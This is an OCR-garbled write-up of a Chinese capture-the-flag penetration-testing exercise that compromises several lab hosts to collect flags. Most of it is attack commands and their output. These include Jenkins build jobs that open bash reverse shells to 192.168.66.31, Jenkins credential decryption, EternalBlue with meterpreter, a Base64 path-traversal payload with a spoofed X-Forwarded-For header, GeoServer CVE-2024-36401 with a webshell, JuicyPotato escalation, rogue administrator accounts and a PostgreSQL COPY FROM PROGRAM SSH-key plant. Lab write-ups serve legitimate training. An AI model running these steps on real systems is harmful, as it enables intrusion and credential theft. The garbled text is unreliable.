F=-[RER 2025 EF

https://x2ct34m-njupt.feishu.cn/record/H6aBrBNgbe9fvcEhxXcaNyFn4g
N=ANSE
AR

—& RS EE
1. ANMEFEEZ NS, F—ESa#FElag. q
2. Windows#i—: C:\Users\Administrator\Desktop\flag
3. Linux#&—: /root/flag

AiEimO
RIGIR
1 nmap -sT -sV -p- ——open 10.103.77.67 —--unprivileged
2 Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-07 19:55 +0800
3  Nmap scan report for 10.103.77.67 (10.103.77.67)
4 Host is up (0.046s latency).
5 Not shown: 65524 closed tcp ports (conn-refused), 8 filtered tcp ports (no-
response)
6 Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
7 PORT STATE SERVICE VERSION
8 22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
9

111/tcp open rpcbind 2-4 (RPC #100000)

10 8000/tcp open http Gunicorn

11

12  Service detection performed. Please report any tincorrect results at
https://nmap.org/submit/ .

13  Nmap done: 1 IP address (1 host up) scanned in 81.51 seconds

14 PS C:\Users\24062\Desktop\panshi\impacket\examples>

flagl| 100


https://x2ct34m-njupt.feishu.cn/record/H6aBrBNgbe9fv9cEhxXcaNyFn4g

Hashes_com #i Home ?FAQ B Depositto Escrow ™ Purchase Credits = APl Tools~ Decrypt Hashes~ Escrow~ ?Support E= English~

A Proceeded!
1 hashes were checked: 1 found 0 not found

v Found:

971083e041027120c503733bd35ec5¢c0:P@sswerd_123

SEARCH AGAIN

EdebugEBZEEFEE, BIKHFE

971083e04f0271a0c503733bd35ec5c0:P@sswOrd_123

MAERT, BXTEAFR, ETRBDEREN

ssh admin@10.103.77.67

XMENIRE SR, BT Fadminfbash_history, ZIERBAEMNId_rsaZRroot, AMEZTISHIT

REIIR

[admin@localhost home]$ ssh -i /home/admin/.ssh/id_rsa root@localhost

The authenticity of host 'localhost (::1)' can't be established.

ECDSA key fingerprint is SHA256:A89 jmLwKxeps5/7NNwHpI1HwWHVH1R+S9kVODP2c1K/U.
ECDSA key fingerprint is MD5:36:36:5d:87:bc:b8:e3:57:9f:57:43:67:a0:bf:c4:92.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Last failed login: Thu Aug 7 12:26:42 UTC 2025 from 10.103.0.1 on ssh:notty
There were 2 failed login attempts since the last successful login.

Last login: Thu May 8 15:58:58 2025 from 10.88.88.4

[root@localhost ~]

O 0o N O U » W N

[
O]

anaconda-ks.cfg django-rest-framework django.sh flag original-ks.cfg
[root@localhost ~]
flag{u34UkDQzgwGIZRtjd8vi6WYP2c9abOno}

I
w N

flag2 | 200



[root@localhost ~]# ./fscan —h 192.168.66.1/24

/ -\ — - o
VA2 VY S VA B
_____ VSR W G I B A e
\____/ N/ VNN P B VO ) VIR D
fscan version: 1.
start infoscan
(icmp) Target 192.168.66.31 is alive
(icmp) Target 192.168.66.128 is alive
[*] Icmp alive hosts len is: 2
192.168.66.128:22 open
192.168.66.31:22 open
192.168.66.128:8080 open
192.168.66.31:8000 open
[*] alive ports len is: u
start vulscan
[*] WebTitle http://192.168.66.128:8080 code:u03 len:589 title:None
[*] WebTitle http://192.168.66.31:8000 code:200 1en:5287  title:Api Root — Django REST framework

(ASERZS

1 [root@localhost ~]

2 > <project>

3 > <description>Internal Pwn</description>

4 > <keepDependencies>false</keepDependencies>

5 > <properties/>

6 > <scm class="hudson.scm.NullSCM" />

7 > <canRoam>true</canRoam>

8 > <disabled>false</disabled>

9 > <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
100 > <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
11 > <triggers/>
12 > <concurrentBuild>false</concurrentBuild>
13 > <builders>
14 > <hudson. tasks.Shell>
5 > < >bash -1 &gt;&amp; /dev/tcp/192.168.66.31/9999

0&gt;&amp;1</command>

16 > </hudson.tasks.Shell>

17 > </builders>

8 > <publishers/>

19 > <buildWrappers/>

20 > </project>

21 > EOF

22 [root@localhost ~]

23 > -H "Content-Type: application/xml" \

24 > --data-binary "@config.xml" \

25 > "http://192.168.66.128:8080/createltem?name=1internal-pwn"
26 [root@localhost ~]

27 [root@localhost ~]



2R FEMAERRT, IBRBIMNT— LI, 1579999150, Rk shell
A tadminiytokentEdebuglEZREGEEE

> C A FZ=£  10.103.77.67:8000/api/v1/api-token-auth/

@ IBsHR BuUCTFEE TN @ s |NSSCTF - @ CTFHub Ml Convert Base64 to... [3 ctfTH X1r0z Blog # (16 %t

¥ Google Chrome & W2RANINEE, HIEHEREZHESE TAEA

FORMAT_MODULE_PATH None

FORM_RENDERER ' django. forms. renderers. DjangoTemplates’
IGNORABLE_404_URLS a

INSTALLED_APPS [' django. contrib. admin’,

" django. contrib. auth’,

" django. contrib. contenttypes’,

" django. contrib. sessions’,

" django. contrib. messages’,

' django. contrib. staticfiles’

) ;
rest_framework’ ]

’

INTERNAL_IPS 1
JENKINS_AUTHORIZATION 'Basic YWRtaW46MTE3MjgzNmJkZDd jYzY4NzUIMGU3NTAhNTdENTdIM jgwNA=="
JENKINS_URL ("http://192. 168. 66. 128:8080",)
LANGUAGES [(af’, 'Afrikaans’),
("ar’, 'Arabic’),
("ar-dz', ’Algerian Arabic’),

(ASEEZS

curl =X POST -u admin:1172836bdd7cc687550e757a57d57e2804
"http://192.168.66.128:8080/job/new-pwn/doDelete"

4 curl =X POST -u admin:1172836bdd7cc687550e757a57d57e2804
"http://192.168.66.128:8080/job/internal-pwn/doDelete"

5 rm config.xml
6
7
8
9
10 nc -lvnp 5555
11
12
13

14 cat > config.xml << EOF
15 <project>

16 <builders>

17 <hudson. tasks.Shell>

18 <command>bash -i &gt;&amp; /dev/tcp/192.168.66.31/5555
0&gt ;&amp; 1</command>

19 </hudson.tasks.Shell>

20 </builders>



21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

37
38
39
40

41

</project>
EOF

#a# FPUE: BHFEIE Jenkins £E

curl =X POST -u admin:1172836bdd7cc687550e757a57d57e2804 \

-H "Content-Type: text/xml" \

--data-binary "@config.xml" \
"http://192.168.66.128:8080/createltem?name=yolo—pwn"
MPXEZGHSHITEEBEMEH, BBRARETHTHT!

#u# BAL: MEAWE (EHEMRBIIP!)

&=E, MARNNRNIENFES. BEER, XENIPHILE 192.168.66.128,

curl =X POST -u admin:1172836bdd7cc687550e757a57d57e2804
"http://192.168.66.128:8080/job/yolo—pwn/build"

###t BN EUKShell

WITRERS R, UZVHIREHRIERER nc WITEEBIMEDO. X—R, (REIZEEEEERMRIRETR,
HIRSBirl88Ishello

https://github.com/bstapes/jenkins-decrypt

REGIR

1

grep '<password>' /var/lib/jenkins/credentials.xml

<password>
{AQAAABAAAAAgtexA8VPTSNEXRDT5W2GGLO4F2VW10CNNOJoU8NTy1zx90xyaA/ddWiCrThVdRmQn}
</password>

cat /var/lib/jenkins/secrets/master.key
504f62ablc6fedd5cbfbadchac6deall0d0d45449dbef5236108752b3387a0b5b86aal54d77f5ed
829c720c3d4384abefbl7cll6be7e59a4be@df2aa40b4ff30b1d43c18ad8764840f067124c5¢c933
48f84df5cab0cf5001aas5bd9aa85c1545c616e01e5b3a87954fadchlacd35a2eb917¢cc24708667
3a268770ec60154d138

hudson.util.secret ®
272B


https://github.com/bstapes/jenkins-decrypt

XN F#E T Jenkins RAPREFNELE,
BRI T —AHERE, APBA idss o
o TIOFEERMEZM ( (AQAAAB. ..} )o 1B, JenkinsBIXFINE ST ZRIEHY!

Jenkins EE— 1 FEZA ( master . key ) MB— M ( hudson.util.Secret ) RIMEBEFRE
fRFHE credentiols.xml FHFE, RAFEINMES jenkins HF, Bi18NRENXEEH
X!

EGIR

1 PS C:\Users\SeanL\Downloads> python decrypt.py master.key hudson.util.secret -

f credentials.xml

=== com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl ===
4 ddss / 8A2GORNDocDj1iaKd

su idss YIRARF, ARLINIFEsudot PR, BIeIZZflag

HEGIR

1  sudo -1

2  Matching Defaults entries for idss on localhost:

3 !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
4 env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",

5 env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",

6 env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",

7 env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",

8 env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",

9 secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

10
11  User idss may run the following commands on localhost:
12 (ALL) NOPASSWD: ALL

13 sudo cat /root/flag
14 flag{wShsxzDLp97comNyM6A0QfnCq4H51ZR0O}

drs1t JenkinsfRSS 2 LIE R K

(RS EEZS

1 [idss@localhost ~]$ sudo /home/idss/fscan -h 192.168.66.0/24
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13
14
15
16
17
18
19
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22
23
24
25
26
27
28
29
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31
32
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41
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/) S Y B

VA S VA | Ay Ry B V Ay B Va4
/N \ e =\ =/ ]l <
./ U VR N I VP VO A B W
fscan version: 1.8.4

start infoscan

(icmp) Target 192.168.66.128 1is alive

(icmp) Target 192.168.66.31 is alive

[*] Icmp alive hosts len is: 2

192.168.66.31:8000 open

192.168.66.31:22 open

192.168.66.128:22 open

192.168.66.128:8080 open

[*x] alive ports len is: 4
start vulscan

[*] WebTitle http://192.168.66.128:8080 code:403 len:589
[*] WebTitle http://192.168.66.31:8000 code:200 len:5287
Django REST framework

title:None
title:Api Root -

B5crt 2/4 [-] ssh 192.168.66.128:22 root 123qwe ssh: handshake failed: ssh:
unable to authenticate, attempted methods [none password], no supported

methods remain
AC

[idss@localhost ~]S sudo /home/idss/fscan -h 10.223.136.0/24

/ __\ — e — ___/_/ —

/SN e N )
[ TN\ | W A I O I I A

\—/ JARNRY \ VN Uy VPO [ VR py A

fscan version: 1.8.4
start infoscan
(icmp) Target 10.223.136.110 1s alive
(icmp) Target 10.223.136.215 1s alive
[*] Icmp alive hosts len dis: 2
10.223.136.110:8080 open
10.223.136.215:80 open
10.223.136.215:22 open
10.223.136.110:22 open
[x] alive ports len 1is: 4
start vulscan
[*] WebTitle http://10.223.136.215 code:200 len:16264
[x] WebTitle http://10.223.136.110:8080 code:403 len:589

title:""
title:None



AR —2 A
1. WM@E%@$&%§) Z:_E@%B@Eflago
2. Windows#i—: C:\Users\Administrator\Desktop\flag

3. Linux&—: /root/flag
D:\tools>fscan —-h 10.103.121.91

/ _\

/I NI____| __|/ __| ' _
_____ AV N G I I I O
|___/N___|_I N, _IN___|_]|

fscan version: 1.8.
start infoscan
10.103.121.91:8080 open
[*] alive ports len is: 1
start vulscan
[*] webTitle http://10.163.121.91:8080 code:200 len:1170
BExk 1/1
[+x] 945 R  FEAd: 8.6090166s

HEEE

title:Directory Listing For /




Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11714
Output File: D:\Program Files\one—fox\gui_scan\dirsearch\reports\http_10.103.121.91_8080\__25-08-07_01-09-16.txt

Target: http://10.103.121.91:8080/

[01:09:16] Starting:

Task Completed

flagl| 100
Struts2#EZ2, T Rhttps://github.com/abc123info/Struts2VulsScanTools/releases/tag/v19.68
WNERES2-046, BIZFA, XM


https://github.com/abc123info/Struts2VulsScanTools/releases/tag/v19.68

Binmit:  http://10.103.121.91:8080/api/showcase.action

S2-061: id,name,uid i |GB2312 |v| B30I |POST |v| @S |S2-046 |*
S2fEZE FLog4j2f&il, DNSLogitiit:  xoooox.com iR
| EsmEs | ma | vFed | HETIRESR | HesisEaS [ B | S | s2-052 | 52-053 [ 18ECookie/kTE | E3 |
| FmER | | | | BEREANA | | BRRETEE | |
¥ (& root K flag{Ruw3GqCYckPzyhdAIBWDO2b4JE6QTpsv}
[ D:
v (@ C
[ Windows
v (& Users
[ Public
v (& Administrator
[ Videos

[ Searches

[ Saved Games

[ Pictures

[ Music

[ Links

[ Favorites

[ Downloads

[ Documents

v (& Desktop

[ JspStudy.Ink
[ JspStudy

[ Contacts
[ Program Files (x86)

[ Pranram Fileg

flag{Ruw3GqCYckPzyhdAIBWDO2b4JE6Q1psv}

flag2 | 200
iTHe, S—IEERMAME, REiEdpE

EGIR

1 net user test 1g2w3e4r! /add

2 net localgroup administrators test /add

EiplEE
AENS
1 Windows IP BCE
2
3
4 PUIKMERCES UAR 2:
5
6 EIESEN DNS E8 . C e s
7 ZAHhiEE IPve MBI, . . . . . . . : fe80::3932:c7bf:151:6cf3%5
8 IPv4 HBHE . . . . . . . . . . . . :10.103.121.91



9 FMEBE . . . . . . .. ... . : 255.255.0.0
10 BOARIR. . . . . . . . . . . .. :10.103.0.1
11
12 LAKMERRES BAKM 3:
13
14 EZFER DNS FR
15 AhEEIE IPve MhE. . . . . . . . : fe80::3c4e:4870:5d0e:2b8d%2
16 IPv4 IE . . . . . . . . . . . . :192.168.99.120
17 FREBE . . . . . . . . ... . : 255.255.255.0
18 ERIARIX
19
20 [BFEEHACES isatap.{01AE8065-DD54-47CE-84CE-4D7285DCE436} ¢
21
22 WERES .. .. ... L. BAEERE
23 EEREN DNS B&% . . . . . . .
24
25 [FEEACEs isatap.{17C82ECO-4950-4D75-81D6-408AA9BSCFOB} :
26
27 BIRRES . . . Lo RARRRTREE
28 ERIFEN DNS B&R . . . . . . L
AREHRRM
& 10.103.121.91 - TRESTEIERE - (m] X

= indows\System32\cmd.exe

acenter 7600

AR—MKIEZE

ZvpsiE T Mrps, SAEERE T HHMfrpc.toml



(ASEEZS

[common]

123.45.67.89
7000

server_addr

server_port

[socks_proxy]

type = tcp

remote_port = 6000

plugin = socks5

plugin_local_addr = 127.0.0.1:1080

O 00 N oo b~ W NP

msfconsole ErK T, EEIE " Mlag

HADIR

proxychains4 msfconsole

use exploit/windows/smb/msl17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45

exploit

a A W N B



[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
meterpreter > pwd
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
C:\Windowssystem32
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
meterpreter > dir C:\UsershAdministratorh\Desktop
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
stdapi_fs_stat: Operation failed: The system cannot find the file specified.
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
meterpreter > dir C:/Users/Administrator/Desktop
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Listing: C:/Users/Administrator/Desktop

Mode S5ize Type Last modified Name

180666/ Tw-rw-Tw- 282 fil 2023-04-10 18:50:34 +888@ desktop.ini
180666,/ TWw-Tw-TWw- 38 fal 2025-08-07 @7:56:88 +08@@ flag

.17
17

[proxychains] DLL imit: proxychains-ng
[proxychains] DLL init: proxychains-ng
[proxychains] DLL init: proxychains-ng 4.17

[proxychains] DLL init: proxychains-ng 4.17

[proxychains] DLL init: proxychains-ng 4.17

meterpreter > cat C:/Users/Administrator/Desktop/flag

[proxychains] DLL init: proxychains-ng 4.17

[proxychains] DLL init: proxychains-ng 4.17

REE RS M S SR N DI SN [ proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17

[proxychains] DLL init: proxychains-ng 4.17

[proxychains] DLL init: proxychains-ng 4.17

[proxychains] DLL init: proxychains-ng 4.17

meterpreter > |

&
&
&
&

SettEE S| &ZRVIMEE
1. AMEFEZ NS, F—EE88HFElag.
2. Windows#i—: C:\Users\Administrator\Desktop\flag

3. Linux&i—: /root/flag




flagl| 100

AREGIR
1
2
3  Nmap scan report for 10.103.99.88 (10.103.99.88)
4 Host is up (0.048s latency).
5
response)
6
7 PORT STATE SERVICE
8 80/tcp open http
9 135/tcp open msrpc
10 139/tcp open netbios-ssn
11  445/tcp open microsoft-ds
microsoft-ds
12 3389/tcp open ms-wbt-server
13 5985/tcp open http
14  47001/tcp open http
15 49664 /tcp open msrpc
16  49665/tcp open msrpc
17  49666/tcp open msrpc
18 49667/tcp open msrpc
19 49668/tcp open msrpc
20  49669/tcp open msrpc
21  49670/tcp open msrpc
22  Service Info: 0Ss: Windows, Windows Server 2008
cpe:/o:microsoft:windows
23
24
https://nmap.org/submit/ .
25

nmap -sT -sV —-p- --open 10.103.99.88 —--unprivileged
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-07 17:58 +0800

Not shown: 65510 closed tcp ports (conn-refused), 11 filtered tcp ports (no-

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

VERSION

Microsoft
Microsoft
Microsoft
Microsoft

Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft
Microsoft

IIS httpd 10.0

Windows
Windows
Windows

RPC
netbios-ssn
Server 2008 R2 - 2012

Terminal Services

HTTPAPI
HTTPAPI
Windows
Windows
Windows
Windows
Windows
Windows
Windows

httpd 2.0 (SSDP/UPnP)
httpd 2.0 (SSDP/UPnP)
RPC

RPC

RPC

RPC

RPC

RPC

RPC

R2 - 2012; CPE:

Service detection performed. Please report any incorrect results at

Nmap done: 1 IP address (1 host up) scanned in 124.11 seconds



D:\tools>fscan -h 10.103.180.212

/ —\ e
/I N/____/ __|/ __| '__/
_____ W W G I I I O
|11 N, _IN___I_|
fscan version: 1.
start infoscan
10.103.180.212:445 open
10.103.180.212:139 open
10.103.180.212:80 open
10.103.180.212:135 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://10.103.180.212 code:200 len:37
B 4/4
[x] HiEER ) 10.0U433027s

title:None




B e S e e n o s e e e

<« > C A FZ% 10.103.180.212/robots.txt

robots. txt

This file is to prevent the crawling and indexing of certain parts
of vour site by web crawlers and spiders run by sites like Yahoo!
and Google. By telling these “robots” where not to go on your site
vou save bandwidth and server resources

This file will be ignored unless it is at the root of your host:
Used: http://example. com/robots. txt
Tgnored: http://example. com/site/robots. txt

For more information about the robots. txt standard, sece:
http://www. robotstxt. org/robotstxt. html
Update March 25

User—agent: *

#

CSS, JS, Images

Allow: /core/*.css$
Allow: /core/*.css?
Allow: /core/*. js$
Allow: /core/*. js?
Allow: /core/*.gif
Allow: /core/*. jpg
Allow: /core/*. jpeg
Allow: /core/*.png
Allow: /core/*.svg
Allow: /profiles/*.css$
Allow: /profiles/#.css?
Allow: /profiles/*. js$
Allow: /profiles/#. js?
Allow: /profiles/#.gif
Allow: /profiles/*. jpg
Allow: /profiles/*. jpeg
Allow: /profiles/*.png
Allow: /profiles/+#.svg

# Directories

Disallow: /web. config

# Parameters

Disallow: *?

# Files

Disallow: /README. txt

Disallow: /FileDownload. aspx. cs
#Block 404

Disallow: /*404*

#Sitemap

Sitemap: https://www. globant. com/sitemap. xml

B &MY —TFiXZ/FileDownload.aspxHYERS
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37
38
39
40
41
42

using System;

using System.IO;

using System.Web;

using System.Text;

public partial class FileDownload : System.Web.UI.Page

{

protected void Page_lLoad(object sender, EventArgs e)

{

string forwardedFor = Request.Headers["X-Forwarded-For"];

if (string.IsNullOrEmpty(forwardedFor) ||
I forwardedFor.Contains("127.0.0.1"))

{

Response.Write("2LEiFE]! ") ;
return;

string encodedFileName = Request.QueryString["img"];
if (!string.IsNullOrEmpty(encodedFileName))

{
try

{

byte[] data = Convert.FromBase64String(encodedFileName)
string fileName = Encoding.UTF8.GetString(data);

string baseDirectory = Server.MapPath("~/");
string filePath = Path.Combine(baseDirectory, fileName);

if (File.Exists(filePath) &&

filePath.StartsWith(baseDirectory, StringComparison.OrdinalIgnoreCase))

{
Response.ContentType = "image/jpeg";
Response.AddHeader ("Content-Disposition", "attachment;

filename=" + Path.GetFileName(filePath));

Response.WriteFile(filePath);

Response.End();

}
else
{
Response.Write("J@8&T! ");
}
}
catch



43 Response.Write ("§8Mi! ");
44 1

45 }

46 }

47 }

48

XFF3k£&p127.0.0.1, 3T NEREFHEMIT

Recipe ~ Ol B8 Input + D38 =
..\..\..\..\Users\Administrator\Desktop\fla
To Base64 ~ P &
Alphabet
A-Za-z0-9+/=
nec 44 = 1 Tr Raw Bytes ¢ LF
Output £« R0 ®:
Li5cLi5cLi5cLi5cVXN1cnNcQWRtaW5pc3RyYXRvc1IXEZXNrdGOwWXGZsYWe =S
3 C A F%2 10.103.180.212/FileDownload.aspx?img=Li5cLi5cLi5cLi5cQzpcVXNIcnNcQWRtaW5pc3RyYXRvcIXEZXNrdGOWXGZsYWc= px¢ b} K2 e :
T B THIES ®
55 flag
47 B+ 1 5340R0
README.txt
1B 17 %4301
Q openvpn-2.6.14.tar.gz
1,881 KB » 41 £480
g download.zip
163 B + 6 /TRl
m  TEpng
490 B+ 11 /NEfRD
C) T#E.png
490 B« 11 /Rl
TR THRICR 4
ik [0 =x #He BEREGSAGE RE e RE BB BASR2 Llighthouse B HackBar o181 & i X

v SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

URL
http://10.103.180.212/FileDownload.aspx?img 5cLi5cLi5cLi5cVXN1enNcQWRtaW5pc3RyYXRVC1XEZXNrdGOwXGZsYWe=

. Use POST method MODIFY HEADER

Name Value

X-Forwarded-For v 127.0.0.1

Name Value

Upgrade-Insecure-Requests v 1




a flag X +

File Edit View

flag{DW9AkaxnNimElujGXsel 1TwTRgdQPcUt8}4L 1 !

T#Hweb.config, BEIFIEENAMipF K S Zi3root/KyHbPgxA3tD80j17yC, Xt2— 1A F Kk

[l
D2
&

AR EENL, 123051, ZithFlsqlAkRs528

R EamAKE
1. AREEZ AV, F—EFa#EE lag.
2. Windows#i—: C:\Users\Administrator\Desktop\flag

3. Linux&i—: /root/flag

flagl| 100
8080HFEwebfks, GeoServer
https://github.com/Chocapikk/CVE-2024-36401


https://github.com/Chocapikk/CVE-2024-36401

GeoServer

C_VE-%OZ4-3§401 ﬁ‘fﬁé
Zi2EMIT (RCE)
2024 ¥F 9 A 12 A - FFiE-MAS

GeoServer #XTERAT CVE-2024-36401 WFLILMART Geg

MR ALIE XPath TAZET, SIREEFRINMEFIMANTE
BECHOHANARAE LETERAB.

MTRESEL:

+ GeoServer 2.25.2 fid= (68 18, 2024)

« GeoServer 2,244 lfzx (6A 18, 2024)

+ GeoServer 2226 &% (3R 17, 2025)

» CVE-2024-36401 JFiF (2024 £7 A1 8)

+ CISA B GeoServer GeoTools ¥k FI A R
« BELUSESMF RESER BN GeoServe

7). AHARESIFEIXEX
EHFE1TRR B GeoServer Pl
1. CVE-2024-36401 iR A 11 EPERTTRVERARIAEA.
iR 3 AT A
2. EREASEH: FEMAkkE (APHERE)

+ | & & € D

[

-
@ Caching Defaults
Il mia
== Disk Quota

i Blobstores

=2
& en
AE
S 5
& mr, |, e
b BgiE
URL Checks
B s

W

IR

™S WMS-C WMTS
1.0.0 1.1.1 1.1.1

GeoServer Web Feature Service

This is the reference implementation of WFS 1.0.0 and WFS 1.1.0, supports all WFS operations including Transaction.

WFS WFS WFS
2.0.0 1.1.0 1.0.0

Web Coverage Service

This server implements the WCS specifieation 1.0 and 1.1.1, it's reference implementation of WCS 1.1.1, All layers publi

available on WMS also.

wcs WcCs wcs WcCs wcs
2.0.1 L1l 1.1.0 1.1 L.0.0
GeoServer REST API

GeoServer REST API for instance status and configuration.

REST
1.0.0

This GeoServer instance is running version 2.24.1. For more information please contact the administrator,
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https://github.com/bmth666/GeoServer-Tools-CVE-2024-36401

CVEFBHITASEARES

HADIR

TH: AntSword

Z5: Apwganif

ZHH: null

JEXR3k: Referer: Vslfrn
IEREBE: /*

a b~ W N =


https://github.com/bmth666/GeoServer-Tools-CVE-2024-36401

@ HEws = (] X

AntSword #@i§ HO @il

« B 01010393192 | >1010393.192 | N
& E

= Hui A (1) r— B K H S (1) >

M 4fisE (http://10.103.93.192:8080/ geoserver/wfs)

SRR

URLHE onm | A®&Z | @M%
BEE  wiEE O REE
B StRbsE v
URLHEHE * |http://10.103.93.192:8080/geoserver/wfs |
HEREER * Apwganif |
CEEE |
GERE UTFS [v]
EHO|I5P [v]
Zrar
®) default (A+4:7)
Lt
(+) default
@ PEGE) - O X
AntSword #FiE &HO @il
1‘ H | EERISIBI03 NG | >~ 10.103.93.192 | »
0w
= rwis (1) | (w503 () ,
URLHH- [ 4830 (http://10.103.93.192:8080/ geoserver/wfs) -0% | ewm | AGbg | & T

BRF xR EREE

By JLab e E

CRTERE:S

@ Header | @ Body

HTTP HEADERS
#1

4

Name | Referer

Value | Vslfrn

HTTP BODY
#1

Name

o Mo i

SREZRIX M, BEFEENR, BN



B TIR

C:\Users\Public> whoami /priv

RAUE B

SeAssignPrimaryTokenPrivilege BH#—NMHREHLSHE E2H
SeIncreaseQuotaPrivilege yoprin e kA e Rl 25
SeAuditPrivilege T2 HHZ 22
SeChangeNotifyPrivilege SR & 8 H
SeImpersonatePrivilege B iEEEME m g
SeCreateGlobalPrivilege SIS RXT R L5 H
SeIncreaseWorkingSetPrivilege IIN#EFE TIESE 25 H

BSelmpersonatePrivileget R, EME1LE, HIFRNELL



C:\Users\Public> dir
ke ¢ PRIERARE.
LHRIFFIS R A696-CAFC

C:\Users\Public HIHXx

2025/08/07 13:45 <DIR>
2025/08/07 13:45 <DIR> .-
2025/08/07 13:02 CLSID.1list
2023/03/24 15:02 <DIR> Documents
2016/07/16 21:23 <DIR> Downloads
2025/08/07 13:46 7,266,304 fscan.exe
2025/08/07 13:06 237,056 Juicypotato-webshell.exe
2025/08/07 12:53 347,648 JuicyPotato.exe
2016/07/16 21:23 <DIR> Music
2025/08/07 13:03 370,040 nc.exe
2016/07/16 21:23 <DIR> Pictures
2025/08/07 13:50 1,610 result.txt
2016/07/16 21:23 <DIR> Videos
2025/08/07 12:37 10,156,544 winPEAS.exe

7 AN 18,379,282 FTi

7 NMHF 123,380,015,104 AJHET
C:\Users\Public> Juicypotato-webshell.exe -p "whoami"
JuicyPotato modified by skyer v0.1

[+] Testing {4991d34b-80a1-4291-83b6-332836609097} 8645

Auth result 0

CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}; Privilege:NT AUTHORITY\SYSTEM
Launching server C:\Users\Public\Juicypotato-webshell.exe -s 23333
SeImpersonate enabled!

CommandThread launched!

CreateProcessWithTokenW OK

Trying connect server 127.0.0.1:23333...

Waiting command server...

Command server connected!

(GRS

1 net user 1g2w3e4r! /add

2 net localgroup administrators




& 10.103.93.192 - EIEAIEIEIE = (] X

flag - iB%E
Z{H(F) RUE(E) HEEN(0) ECE(V) #EEN(H)
Flag {ZPszWYOBwy 1gRrd JVEKOepX tLNFTH45 j}

flag{ZPszWYOBwy1gRrd JVEKOepXtLNFTH45]}

flag2 | 200
S

& 10.103.93.192 - EFRSIEIEE = (=] X

B A 41T - fscanexe -h 192,168.188.1/24
C:\W 3 >ed Cr\Users\Public

£k Snipping Tool

Screenshot copied to clipboard
Automatically saved to screenshots folder.




HET

e login_logs @postgres.public (1) - % - Navicat Premium

Xttt wE BEE ®WEk IR BO #
~
- = == == N ¥
EE EEH ES ME  EACIRE R fai=)

v G
v § postgres
v & public

POE % login_logs @postgres.pubili...

o % = id username password
ﬁ T >abc.local\testuser Pass123
5 @?ﬂ - 2 abc.local\admin AdminPass456
N %iﬁi{mﬁﬁ 3 abc.local\guest Guest789
N fx i 4 abc.local\xiaoming Xiaom123
N @ =% 5 abc.local\john_Sql Secret456
N BE 6 abc.local\alice AlicePass789
N TN 7 abc.local\bob Bob123456
8 abc.local\manager ManagePass321
9 abc.local\sysadmin SysPass654
10 abc.local\intruder Intruder999

REPHE, sshixE L

€9 * FATH - WiR - Navicat Premium
Icﬁ Wi WR el dER IR B0 Bl

- 5 EF"‘F“fo“

EE BRERERE WA ENE S e HE i i Wie  BoiE R
~@h Mg e A - B
~ & postgres
< & public Ber DlmoomTR -\ %k saL () rEn DXE R gyuam
NY::=:f & > 1T -
T emd exec COPY cmd_exec FROM PROGRAM 'echo "ssh-rsa
[T login_logs
s mz2GDATEY/mHLt+7vh3KxGe/t JtvIb2TLXN/ LAgmxOUkrI6EX rAedlZwRowint @3RNR1AVPYS x1by6pedFdalGrtrnruF 75/2
Qxﬁ pOpX7bknNUZYKZ ID8y+VxFIrGKhlhrtqs+EPikBMEh+iN@32PK/iSkwyY/ c4BESKgMG3Tv+8= jyzho@WIN-EICAC432NIT
Eﬁﬁ " » fhome/postgres/.sshfauthorized_keys';
B
() 1em
Bt

R
COPY cmd_exec FROM PROGRAM 'echo "ssh-rsa

SrpEs Bxa Vs s BenE

5B

S

ip_address
192.168.10.99
192.168.10.100
192.168.10.101
192.168.10.102
192.168.10.103
192.168.10.104
192.168.10.105
192.168.10.106
192.168.10.107
192.168.10.108

=

Hif

)

i

login_time

2025-07-30 04:46:00
2025-07-30 04:47:00
2025-07-30 04:48:00
2025-07-30 04:49:00
2025-07-30 04:50:00
2025-07-30 04:51:00
2025-07-30 04:52:00
2025-07-30 04:53:00
2025-07-30 04:54:00
2025-07-30 04:55:00

